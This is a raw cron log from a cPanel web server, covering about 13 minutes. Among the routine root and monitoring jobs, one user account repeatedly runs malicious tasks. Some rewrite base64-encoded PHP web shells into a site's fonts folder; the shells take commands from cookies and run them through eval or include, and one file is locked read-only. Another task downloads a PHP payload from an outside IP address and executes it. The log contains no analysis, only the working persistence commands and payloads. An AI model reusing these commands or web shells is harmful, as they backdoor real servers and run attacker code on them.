Sep 11 15:36:01 ip-184-168-122-23 CROND[27073]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:37:01 ip-184-168-122-23 CROND[27183]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 15:37:01 ip-184-168-122-23 CROND[27184]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:37:01 ip-184-168-122-23 CROND[27186]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 15:37:01 ip-184-168-122-23 CROND[27185]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:38:01 ip-184-168-122-23 CROND[27320]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 15:38:01 ip-184-168-122-23 CROND[27323]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:38:01 ip-184-168-122-23 CROND[27325]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 15:38:01 ip-184-168-122-23 CROND[27322]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:38:01 ip-184-168-122-23 CROND[27324]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 15:39:02 ip-184-168-122-23 CROND[27424]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 15:39:02 ip-184-168-122-23 CROND[27423]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:39:02 ip-184-168-122-23 CROND[27428]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 15:39:02 ip-184-168-122-23 CROND[27427]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:39:02 ip-184-168-122-23 CROND[27426]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 11 15:40:01 ip-184-168-122-23 CROND[27643]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 15:40:02 ip-184-168-122-23 CROND[27646]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 15:40:02 ip-184-168-122-23 CROND[27651]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:40:02 ip-184-168-122-23 CROND[27648]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 15:40:02 ip-184-168-122-23 CROND[27649]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 15:40:02 ip-184-168-122-23 CROND[27652]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 15:40:02 ip-184-168-122-23 CROND[27650]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:40:02 ip-184-168-122-23 CROND[27653]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 15:41:01 ip-184-168-122-23 CROND[27751]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:41:01 ip-184-168-122-23 CROND[27753]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 15:41:01 ip-184-168-122-23 CROND[27754]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 15:41:01 ip-184-168-122-23 CROND[27756]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:42:01 ip-184-168-122-23 CROND[27860]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 15:42:01 ip-184-168-122-23 CROND[27862]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 15:42:01 ip-184-168-122-23 CROND[27863]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:42:01 ip-184-168-122-23 CROND[27861]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 15:42:01 ip-184-168-122-23 CROND[27864]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:43:01 ip-184-168-122-23 CROND[28002]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:43:01 ip-184-168-122-23 CROND[28005]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 15:43:01 ip-184-168-122-23 CROND[28004]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 15:43:01 ip-184-168-122-23 CROND[28006]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:44:01 ip-184-168-122-23 CROND[28133]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 15:44:01 ip-184-168-122-23 CROND[28137]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:44:01 ip-184-168-122-23 CROND[28136]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 15:44:01 ip-184-168-122-23 CROND[28138]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 15:44:01 ip-184-168-122-23 CROND[28135]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:45:01 ip-184-168-122-23 CROND[28304]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:45:01 ip-184-168-122-23 CROND[28307]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 15:45:01 ip-184-168-122-23 CROND[28311]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 15:45:01 ip-184-168-122-23 CROND[28310]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:45:01 ip-184-168-122-23 CROND[28306]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 15:45:01 ip-184-168-122-23 CROND[28308]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 15:46:01 ip-184-168-122-23 CROND[28412]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 15:46:01 ip-184-168-122-23 CROND[28414]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 15:46:01 ip-184-168-122-23 CROND[28415]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:46:01 ip-184-168-122-23 CROND[28418]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 11 15:46:01 ip-184-168-122-23 CROND[28416]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 15:46:01 ip-184-168-122-23 CROND[28419]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 15:46:01 ip-184-168-122-23 CROND[28417]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:47:01 ip-184-168-122-23 CROND[28554]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:47:01 ip-184-168-122-23 CROND[28555]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 15:47:01 ip-184-168-122-23 CROND[28557]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 15:47:01 ip-184-168-122-23 CROND[28561]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:48:01 ip-184-168-122-23 CROND[28655]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 15:48:01 ip-184-168-122-23 CROND[28658]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:48:01 ip-184-168-122-23 CROND[28659]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 15:48:01 ip-184-168-122-23 CROND[28660]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 15:48:01 ip-184-168-122-23 CROND[28661]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
